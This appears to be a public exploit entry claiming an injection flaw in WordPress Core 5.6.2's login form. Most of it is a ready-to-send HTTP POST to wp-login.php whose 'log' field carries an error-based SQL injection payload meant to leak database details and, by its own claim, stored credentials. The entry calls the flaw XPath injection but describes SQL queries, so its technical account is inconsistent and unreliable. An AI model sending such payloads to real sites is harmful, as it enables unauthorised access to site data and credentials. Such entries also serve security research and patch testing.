Authored by Behrouz Mansoori

WordPress Core version 5.6.2 appears to suffer from an xpath injection vulnerability via the log parameter.

# Exploit Title: WordPress Core 5.6.2 - Xpath Injection
# Date: 13/08/2023
# Exploit Author: Behrouz Mansoori
# Vendor Homepage:
# Software Link:
# Version: 5.6.2
# Tested on: Mac


#This vulnerability allows remote attackers to disclose sensitive information on affected installations of WordPress Core,
#The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries.
#An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise.

# [ Sample Request ] :

POST /wp-login.php HTTP/2
Host: localhost
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Content-Length: 125
Cache-Control: max-age=0
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: ""
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

log=test' and extractvalue (rand(), concat (0x7e, version () ))--+&pwd=test&